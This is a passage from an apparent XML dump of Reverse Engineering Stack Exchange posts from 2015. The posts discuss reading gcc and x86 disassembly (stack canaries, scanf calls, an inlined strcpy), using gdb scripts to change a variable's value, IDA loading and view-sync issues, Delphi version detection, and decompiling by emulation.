but your C code shows no reason for that. Maybe it has to do with some variable declarations that isn't shown in the code, or maybe the compiler just initializes local variables to &lt;code&gt;0xCCCCCCCC&lt;/code&gt; to prevent &quot;uninitialized variables have undefined values, don't let the code assume they are zero&quot; errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What remains is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,1010h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is the return instruction - function results are generally returned in the &lt;code&gt;eax&lt;/code&gt; register, and &lt;code&gt;0x1010&lt;/code&gt; seems to be what &lt;code&gt;LZHAM_DLL_VERSION&lt;/code&gt; is defined to.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2015-09-09T06:27:09.297" LastActivityDate="2015-09-09T06:27:09.297" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10823" PostTypeId="1" AcceptedAnswerId="10824" CreationDate="2015-09-09T10:41:25.987" Score="3" ViewCount="11509" Body="&lt;p&gt;I have recently started getting into assembly for the purpose of reverse engineering. I started small with understanding basic datatypes, but I want to move on to more complex datatypes and functions. I am trying to understand what is happening in both methods &lt;code&gt;requestMaxPow&lt;/code&gt; and &lt;code&gt;computePowers&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;strong&gt;source&lt;/strong&gt; that I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int requestMaxPow();&#xA;int computerPowers(int);&#xA;int main(){&#xA;    int max = requestMaxPow();&#xA;    computePowers(max);&#xA;    return 0;&#xA;}&#xA;&#xA;int requestMaxPow(){&#xA;    int maxPow;&#xA;&#xA;    scanf (&quot;%d&quot;, &amp;amp;maxPow);&#xA;    return maxPow;&#xA;}&#xA;&#xA;int computePowers(int MaxPow){&#xA;    int currentVal = 0;&#xA;    int currentPow = 0;&#xA;&#xA;    for(;currentPow &amp;lt; MaxPow; ++currentPow){&#xA;        currentVal = currentPow * currentPow;&#xA;    }&#xA;}&#xA;Compiled with GCC with the following arguments &quot;gcc -g -O0 morecomplex.c -o morecoplex&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The assembly below is for the &lt;strong&gt;requestMaxPow&lt;/strong&gt; method, which is the hardest for me to understand. Specifically I don't understand what &quot;gs&quot; means at 0xc5, and I have no idea what is going on between lines 0xce - 0x50. could someone well versed explain line by line what is happening?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disassemble &#xA;Dump of assembler code for function requestMaxPow:&#xA;   0x080484bf &amp;lt;+0&amp;gt;: push   ebp&#xA;   0x080484c0 &amp;lt;+1&amp;gt;: mov    ebp,esp&#xA;   0x080484c2 &amp;lt;+3&amp;gt;: sub    esp,0x18&#xA;=&amp;gt; 0x080484c5 &amp;lt;+6&amp;gt;: mov    eax,gs:0x14&#xA;   0x080484cb &amp;lt;+12&amp;gt;:    mov    DWORD PTR [ebp-0xc],eax&#xA;   0x080484ce &amp;lt;+15&amp;gt;:    xor    eax,eax&#xA;   0x080484d0 &amp;lt;+17&amp;gt;:    sub    esp,0x8&#xA;   0x080484d3 &amp;lt;+20&amp;gt;:    lea    eax,[ebp-0x10]&#xA;   0x080484d6 &amp;lt;+23&amp;gt;:    push   eax&#xA;   0x080484d7 &amp;lt;+24&amp;gt;:    push   0x80485b0&#xA;   0x080484dc &amp;lt;+29&amp;gt;:    call   0x8048380 &amp;lt;__isoc99_scanf@plt&amp;gt;&#xA;   0x080484e1 &amp;lt;+34&amp;gt;:    add    esp,0x10&#xA;   0x080484e4 &amp;lt;+37&amp;gt;:    mov    eax,DWORD PTR [ebp-0x10]&#xA;   0x080484e7 &amp;lt;+40&amp;gt;:    mov    edx,DWORD PTR [ebp-0xc]&#xA;   0x080484ea &amp;lt;+43&amp;gt;:    xor    edx,DWORD PTR gs:0x14&#xA;   0x080484f1 &amp;lt;+50&amp;gt;:    je     0x80484f8 &amp;lt;requestMaxPow+57&amp;gt;&#xA;   0x080484f3 &amp;lt;+52&amp;gt;:    call   0x8048350 &amp;lt;__stack_chk_fail@plt&amp;gt;&#xA;   0x080484f8 &amp;lt;+57&amp;gt;:    leave  &#xA;   0x080484f9 &amp;lt;+58&amp;gt;:    ret    &#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The assembly for the &lt;strong&gt;computePowers&lt;/strong&gt; method is much easier to understand. I include it just in case it has relevance to my main question.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disassemble &#xA;Dump of assembler code for function computePowers:&#xA;   0x080484fa &amp;lt;+0&amp;gt;: push   ebp&#xA;   0x080484fb &amp;lt;+1&amp;gt;: mov    ebp,esp&#xA;   0x080484fd &amp;lt;+3&amp;gt;: sub    esp,0x10&#xA;=&amp;gt; 0x08048500 &amp;lt;+6&amp;gt;: mov    DWORD PTR [ebp-0x4],0x0&#xA;   0x08048507 &amp;lt;+13&amp;gt;:    mov    DWORD PTR [ebp-0x8],0x0&#xA;   0x0804850e &amp;lt;+20&amp;gt;:    jmp    0x804851e &amp;lt;computePowers+36&amp;gt;&#xA;   0x08048510 &amp;lt;+22&amp;gt;:    mov    eax,DWORD PTR [ebp-0x8]&#xA;   0x08048513 &amp;lt;+25&amp;gt;:    imul   eax,DWORD PTR [ebp-0x8]&#xA;   0x08048517 &amp;lt;+29&amp;gt;:    mov    DWORD PTR [ebp-0x4],eax&#xA;   0x0804851a &amp;lt;+32&amp;gt;:    add    DWORD PTR [ebp-0x8],0x1&#xA;   0x0804851e &amp;lt;+36&amp;gt;:    mov    eax,DWORD PTR [ebp-0x8]&#xA;   0x08048521 &amp;lt;+39&amp;gt;:    cmp    eax,DWORD PTR [ebp+0x8]&#xA;   0x08048524 &amp;lt;+42&amp;gt;:    jl     0x8048510 &amp;lt;computePowers+22&amp;gt;&#xA;   0x08048526 &amp;lt;+44&amp;gt;:    leave  &#xA;   0x08048527 &amp;lt;+45&amp;gt;:    ret    &#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt;&#xA;After looking at the code for a while longer I realized the xor is happening on eax to &quot;0&quot; it out, does that happen so that a return value can be stored into eax?&lt;/p&gt;&#xA;" OwnerUserId="11576" LastEditorUserId="11576" LastEditDate="2015-09-09T10:56:38.070" LastActivityDate="2015-09-09T13:12:12.393" Title="How does scanf interact with my code in assembly" Tags="|disassembly|c|xor|program-analysis|scanf|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10824" PostTypeId="2" ParentId="10823" CreationDate="2015-09-09T13:12:12.393" Score="2" Body="&lt;p&gt;The code between &lt;code&gt;80484c5&lt;/code&gt; and &lt;code&gt;80484ce&lt;/code&gt; sets up the &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6627/segmentation-on-x86-for-stack-canaries&quot;&gt;stack canary&lt;/a&gt;, and &lt;code&gt;80484e7&lt;/code&gt; to &lt;code&gt;80484f3&lt;/code&gt; checks it. gcc omits the stack checking from your second function, since it can determine (uses no pointers, doesn't call subroutines) that there's no way to overwrite the stack here. Your &lt;code&gt;xor eax, eax&lt;/code&gt; isn't neccesary per se (you don't need to zero registers before storing something into them), it's just that the compiler wants to make the canary value unknown as soon as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Omitting the stack checking results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x080484d0 &amp;lt;+17&amp;gt;:    sub    esp,0x8            // adjust stack alignment &#xA;0x080484d3 &amp;lt;+20&amp;gt;:    lea    eax,[ebp-0x10]     // move the address of maxRow into eax&#xA;0x080484d6 &amp;lt;+23&amp;gt;:    push   eax                // and push it on the stack as the 2nd function argument&#xA;0x080484d7 &amp;lt;+24&amp;gt;:    push   0x80485b0          // Push the address of your format string as first function argument&#xA;0x080484dc &amp;lt;+29&amp;gt;:    call   0x8048380 &amp;lt;__isoc99_scanf@plt&amp;gt;  // call scanf&#xA;0x080484e1 &amp;lt;+34&amp;gt;:    add    esp,0x10           // remove the added bytes from the stack&#xA;0x080484e4 &amp;lt;+37&amp;gt;:    mov    eax,DWORD PTR [ebp-0x10]  // get the content of maxRow into eax to return it as function return value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3 things might need further explanation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;lea&lt;/code&gt; instruction calculates an &lt;em&gt;address&lt;/em&gt;, while &lt;code&gt;mov&lt;/code&gt; loads a value. Thus, &lt;code&gt;lea eax,[ebp-0x10]&lt;/code&gt; is like  &lt;code&gt;eax=&amp;amp;maxRow&lt;/code&gt;, and &lt;code&gt;mov eax, DWORD PTR [ebp-0x10]&lt;/code&gt; is like &lt;code&gt;eax=maxRow&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In C, function arguments are pushed from behind, i.e. the last argument gets pushed first. This ensures the first argument is always at the same position, which is important for &lt;code&gt;varargs&lt;/code&gt; functions like &lt;code&gt;printf&lt;/code&gt; and &lt;code&gt;scanf&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Since 2 arguments are passed, which needs 8 bytes, ommiting the first &lt;code&gt;sub esp,0x8&lt;/code&gt; and replacing the &lt;code&gt;add esp,0x10&lt;/code&gt; with &lt;code&gt;add esp, 0x8&lt;/code&gt; would be more straightforward. The reason &lt;code&gt;gcc&lt;/code&gt; spends these extra bytes is probably that it wants the stack pointer aligned to a multiple of 16 bytes, which speeds up certain things. Not sure about this however, since the total distance between &lt;code&gt;esp&lt;/code&gt; at the start of your function and &lt;code&gt;esp&lt;/code&gt; at the start of &lt;code&gt;scanf&lt;/code&gt; doesn't seem to be a multiple of 16.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-09-09T13:12:12.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10827" PostTypeId="1" AcceptedAnswerId="10828" CreationDate="2015-09-09T17:09:26.900" Score="1" ViewCount="1039" Body="&lt;p&gt;I am attempting to load a PPC memory dump into IDA Pro, but I am getting a &quot;ROM size overflow&quot; error.  The dump is the exact size of the memory location, but IDA Pro will not load without cutting off bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What seems to be the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IwXsn.png&quot; alt=&quot;Disassembly memory organization &amp;amp; error dialogs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13516" LastActivityDate="2015-09-09T17:19:43.087" Title="Problem loading dump into IDA Pro" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10828" PostTypeId="2" ParentId="10827" CreationDate="2015-09-09T17:19:43.087" Score="0" Body="&lt;p&gt;Looks like a bug in IDA (and probably worth reporting to support@hex-rays.com). Try a ROM size of &lt;code&gt;0x3FFFFF&lt;/code&gt; as a workaround.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-09-09T17:19:43.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10829" PostTypeId="1" CreationDate="2015-09-09T21:25:20.170" Score="1" ViewCount="795" Body="&lt;p&gt;I wanna create a script/program that will modify value in memory of another process. With GDB I've discovered that variable I want modify is located on heap. Because this variable is create dynamically with every program start, it is placing under another address. I've tried to find pointer on a stack that will point to this value, but also pointer is in another place every program start. Finally I've found variable position with breakpoint in main loop and reading position from registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is any better way to find variable that will be good for script?&lt;/p&gt;&#xA;" OwnerUserId="13520" LastActivityDate="2015-10-10T10:11:57.007" Title="Variable's position on stack" Tags="|gdb|dynamic-analysis|stack-variables|pointer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10830" PostTypeId="2" ParentId="10829" CreationDate="2015-09-10T10:02:56.743" Score="2" Body="&lt;p&gt;I'd change the variable right when it's created and stored into its position. For example, if one function calls another, that other function returns the variable, and the first function stores it somewhere, this will look in assembly somewhat like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;80483e7:       e8 d8 ff ff ff          call   80483c4 &amp;lt;value&amp;gt;&#xA;80483ec:       8b 54 24 1c             mov    0x1c(%esp),%edx&#xA;80483f0:       89 02                   mov    %eax,(%edx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;0x1c(%esp)&lt;/code&gt; holds the pointer to the variable, and &lt;code&gt;%eax&lt;/code&gt; is the value to store there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you just need a gdb input script like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;break *0x80483f0&#xA;run&#xA;set $eax=7&#xA;cont&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and your program with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb myprog &amp;lt; gdb.in&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;myprog&lt;/code&gt; is your program and &lt;code&gt;gdb.in&lt;/code&gt; is the above script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really need to change the variable later, when the program is running,&#xA;do the same, but replace the &lt;code&gt;set $eax=7&lt;/code&gt; with &lt;code&gt;info registers&lt;/code&gt; and redirect the output to a file. Then, when you want to change the variable, read that file, parse the address from it, and use that address to store your variable to.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-09-10T10:02:56.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10831" PostTypeId="1" AcceptedAnswerId="10832" CreationDate="2015-09-10T13:40:56.140" Score="2" ViewCount="217" Body="&lt;p&gt;After reading the &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/10820/what-is-all-this-code-for&quot;&gt;question of zespri&lt;/a&gt; it was interesting for me to read something about the code generation patterns of different compilers in order to reverse better and quicker. Do you know good articles/books/advices or another resources where I could read this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are several function call conventions but it would be nice to know about artefacts of compiler code generation that aren't worth of attention while reversing.&lt;/p&gt;&#xA;" OwnerUserId="12670" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-09-10T18:01:25.083" Title="Code generation patterns of compilers" Tags="|ida|assembly|compilers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10832" PostTypeId="2" ParentId="10831" CreationDate="2015-09-10T18:01:25.083" Score="3" Body="&lt;p&gt;I personally enjoy &lt;a href=&quot;http://beginners.re/&quot; rel=&quot;nofollow&quot;&gt;Reverse Engineering for Beginners&lt;/a&gt; (by Dennis Yurichev). &#xA;The book shows (among other things) lots of common code patterns being compiled to different architectures and &lt;strong&gt;using different compilers&lt;/strong&gt;.&#xA;This way you can learn about the idiosyncrasies of the individual compilers by comparing how they transform the same code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: Please don't let the title of the book trick you. This is not your typical &quot;for beginners&quot; book. The author keeps adding content but the original title remains. It is actually &lt;em&gt;beginner to intermediate&lt;/em&gt; level but of course that depends on who you are talking to :)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2015-09-10T18:01:25.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10835" PostTypeId="1" CreationDate="2015-09-11T16:25:00.073" Score="1" ViewCount="213" Body="&lt;p&gt;I opened an app in Dependency Walker and noticed that the app was made in Borland Delphi 4 to improve my reversing techniques I fired up DeDe, it's sticks and respond after hours with error &quot;out of memory&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I used Interactive Delphi Reconstructor to see if Delphi is really hard to Reverse but I notced that it was in Delphi XE1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can an app be made in two different versions (Delphi 4 and Delphi 2011)?&#xA;Or  the Dependency walker lied?&lt;/p&gt;&#xA;" OwnerUserId="13539" LastActivityDate="2015-09-11T16:25:00.073" Title="Why dependency walker indentifies an app as Borland Delphi 4 while IDR says Delphi 2011" Tags="|decompilation|delphi|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10836" PostTypeId="1" CreationDate="2015-09-11T16:25:08.683" Score="1" ViewCount="1822" Body="&lt;p&gt;I'm in the process of patching a crackme so that I get recognized as registered without the need of a serial key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding the function that checks for the validity of the key and patching it so that it always returns a success value was a piece of cake. But when I launched the exe, surprise : &lt;code&gt;We noticed an attempt to crack this program, shutting down..&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that there's somewhere a call to ReadProcessMemory or a more simple fopen/fread that computes an integrity sum and checks it with an hardcoded value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do, with IDA, is find where these system functions are called. Is this even possible ?&#xA;I tried debugging the application, but there seem to be anti-debugger techniques as the crackme instantly exits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion appreciated. I'm using IDA Pro 6.6.&lt;/p&gt;&#xA;" OwnerUserId="13537" LastActivityDate="2020-05-17T19:13:20.843" Title="Find out windows API calls using IDA?" Tags="|ida|system-call|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10839" PostTypeId="1" AcceptedAnswerId="10841" CreationDate="2015-09-12T03:25:18.337" Score="5" ViewCount="1349" Body="&lt;p&gt;I'm writing small C programs to teach myself how to use GDB to disassemble code.  The C in question is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void function( char **pointer )&#xA;{&#xA;   *pointer = malloc(100);&#xA;   strcpy(*pointer,&quot;This is text&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The disassembly is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400620:    push   %rbp&#xA;0x400621:    mov    %rsp,%rbp&#xA;0x400624:    sub    $0x10,%rsp&#xA;0x400628:    mov    %rdi,-0x8(%rbp)&#xA;0x40062c:    mov    $0x64,%edi&#xA;0x400631:    callq  0x4004f0 &amp;lt;malloc@plt&amp;gt;&#xA;0x400636:    mov    %rax,%rdx&#xA;0x400639:    mov    -0x8(%rbp),%rax&#xA;0x40063d:    mov    %rdx,(%rax)&#xA;0x400640:    mov    -0x8(%rbp),%rax&#xA;0x400644:    mov    (%rax),%rax&#xA;0x400647:    movabs $0x2073692073696854,%rcx&#xA;0x400651:    mov    %rcx,(%rax)&#xA;0x400654:    movl   $0x74786574,0x8(%rax)&#xA;0x40065b:    movb   $0x0,0xc(%rax)&#xA;0x40065f:    leaveq &#xA;0x400660:    retq   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand the prologue: &lt;code&gt;0x400620&lt;/code&gt;-&lt;code&gt;0x400624&lt;/code&gt;. I also understand that the pointer is being initialized to 100 char here: &lt;code&gt;0x400628&lt;/code&gt;-&lt;code&gt;0x40063d&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot seem to figure out what &lt;code&gt;strcpy&lt;/code&gt; is doing and I do not understand how to examine the contents of the addresses listed in &lt;code&gt;0x400647&lt;/code&gt; and &lt;code&gt;0x400654&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me work through this?&lt;/p&gt;&#xA;" OwnerUserId="13529" LastEditorUserId="53" LastEditDate="2015-09-12T09:52:09.240" LastActivityDate="2015-09-12T09:52:09.240" Title="Optimization of strcpy at the assembler level" Tags="|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10840" PostTypeId="2" ParentId="10839" CreationDate="2015-09-12T07:26:49.277" Score="2" Body="&lt;p&gt;Look at the hex digits at &lt;code&gt;0x400647&lt;/code&gt; and convert them to ascii characters, byte by byte (2 digits by 2 digits). Does the result ring a bell?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the source for your &lt;code&gt;strcpy&lt;/code&gt; is a constant string, the compiler optimizes &quot;copy the contents of a static string, byte by byte, until &lt;code&gt;\0&lt;/code&gt; is reached&quot; to &quot;fill the target with the expected bytes in the fastest way possible&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see what the memory looks like after the optimized &lt;code&gt;strcpy&lt;/code&gt;, set a breakpoint on &lt;code&gt;0x40065b&lt;/code&gt; and enter &lt;code&gt;x/20b *$rax&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-09-12T07:26:49.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10841" PostTypeId="2" ParentId="10839" CreationDate="2015-09-12T07:41:56.600" Score="5" Body="&lt;p&gt;So, I assume that you understood the stack-frame initialization part and the call to the &lt;code&gt;malloc&lt;/code&gt; through the PLT (Procedure Linking Table).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400636:    mov    %rax,%rdx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line take the return code of the &lt;code&gt;malloc&lt;/code&gt; function and save it in the &lt;code&gt;rdx&lt;/code&gt; register. This value correspond to the address of the memory space you just created through the &lt;code&gt;malloc&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400639:    mov    -0x8(%rbp),%rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, you take the first argument of the function we are in (&lt;code&gt;char **pointer&lt;/code&gt; according to your source code) and it is stored in the &lt;code&gt;rax&lt;/code&gt; register.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x40063d:    mov    %rdx,(%rax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line transfert the address of the allocated memory area to the &lt;code&gt;pointer&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400640:    mov    -0x8(%rbp),%rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An (unnecessary) copy of the first argument of &lt;code&gt;function&lt;/code&gt; in &lt;code&gt;rax&lt;/code&gt; (the register already store this value, probably a glitch of the compiler that did not optimized enough).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400644:    mov    (%rax),%rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set &lt;code&gt;rax&lt;/code&gt; as the address pointed by &lt;code&gt;pointer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400647:    movabs $0x2073692073696854,%rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To understand that, you need to decompose this magic number &lt;code&gt;0x2073692073696854&lt;/code&gt; and cut it into pieces. Lets use &lt;code&gt;gdb&lt;/code&gt; for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) p /c 0x54&#xA;$1 = 84 'T'&#xA;(gdb) p /c 0x68&#xA;$2 = 104 'h'&#xA;(gdb) p /c 0x69&#xA;$3 = 105 'i'&#xA;(gdb) p /c 0x73&#xA;$4 = 115 's'&#xA;(gdb) p /c 0x20&#xA;$5 = 32 ' '&#xA;(gdb) ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess that you start to see what is the meaning of this big number by now...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400651:    mov    %rcx,(%rax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On this line, the previous magic number is stored in the address pointed by &lt;code&gt;pointer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x400654:    movl   $0x74786574,0x8(%rax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This last magic number is, in fact, the end of your string (it correspond to the word &lt;code&gt;text&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x40065b:    movb   $0x0,0xc(%rax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Copy the &lt;code&gt;\0&lt;/code&gt; character to end the string at the right place (&lt;code&gt;0xc&lt;/code&gt; is the size of the string and &lt;code&gt;rax&lt;/code&gt; is the start address of the string).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2015-09-12T07:41:56.600" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10843" PostTypeId="5" CreationDate="2015-09-12T17:09:14.520" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-12T17:09:14.520" LastActivityDate="2015-09-12T17:09:14.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10844" PostTypeId="4" CreationDate="2015-09-12T17:09:14.520" Score="0" Body="Correspond to all the techniques used to intercept function calls and to attach a piece of code before or/and after the execution of the function itself." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-12T17:09:14.520" LastActivityDate="2015-09-12T17:09:14.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10845" PostTypeId="5" CreationDate="2015-09-12T20:11:21.163" Score="0" Body="" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-12T20:11:21.163" LastActivityDate="2015-09-12T20:11:21.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10846" PostTypeId="4" CreationDate="2015-09-12T20:11:21.163" Score="0" Body="Any kind of communication between computers using a protocol and the infra-structure that allow this communication. " OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-09-12T20:11:21.163" LastActivityDate="2015-09-12T20:11:21.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10847" PostTypeId="1" AcceptedAnswerId="10848" CreationDate="2015-09-13T02:17:33.823" Score="4" ViewCount="1310" Body="&lt;p&gt;I am thinking on a decompilation method which uses the runtime behavior of the binary executable to extract usable compilation data. Analysing the runtime behavior (i.e. trapping after every cpu instruction and check what it does), we could get a lot of additional infos, like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;we could differentiate between the static constant data (&quot;&lt;code&gt;.text&lt;/code&gt;&quot;) and the binary asm&lt;/li&gt;&#xA;&lt;li&gt;additional information, what type of data is in which register or global / local variable (pointers, floats and integers)&lt;/li&gt;&#xA;&lt;li&gt;where the cpu instructions are starting&lt;/li&gt;&#xA;&lt;li&gt;from the stack behavior we could get highly useful heuristics, where are the functions / internal functions and how long / what type of parameters they have.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On my opinion, maybe even the holy grail, the recompilable source code wouldn't be so far away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? Does any tool / software already exist which is capable to do this?&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2016-09-08T08:03:58.450" Title="Decompile binary executable into c / asm code by emulation, is it possible?" Tags="|disassembly|decompilation|tracing|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10848" PostTypeId="2" ParentId="10847" CreationDate="2015-09-13T06:52:58.503" Score="5" Body="&lt;p&gt;This problem is linked to the halting problem on a Turing machine (which is known to be undecidable). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Approaching decompilation through emulation suppose that you have to run through all the branches of the software at least once, and reaching all possible program points cannot be guaranteed if you have to go through a (potentially) infinite loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, this is a theoretical problem that you unlikely find in real life (except if it has been planted here intentionally to prevent the full exploration through emulation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, in a more practical perspective, exploring all paths can be done only if you can easily run through all the path at runtime, which is not the case when the user is required to solve a challenge (possibly on-line) such as giving a password whose hash is stored in the program or prove that he posses a private key by signing a message and returning it to the software.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2016-09-08T08:03:58.450" LastActivityDate="2016-09-08T08:03:58.450" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10849" PostTypeId="1" CreationDate="2015-09-13T07:43:24.863" Score="2" ViewCount="855" Body="&lt;p&gt;Recently IDA started to synchronize the hex dump with disassembly view. Even if I disable this through right click, it gets reseted every debug session. I also tried to save the desktop with the synchronization disabled, but it gets enabled again after session restart...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I stop IDA from synchronizing these views?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no plugins that could cause this behavior.&lt;/p&gt;&#xA;" OwnerUserId="11980" LastActivityDate="2023-03-08T16:06:45.953" Title="Stop synchronizing hex view with disassembly view in IDA" Tags="|ida|tools|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
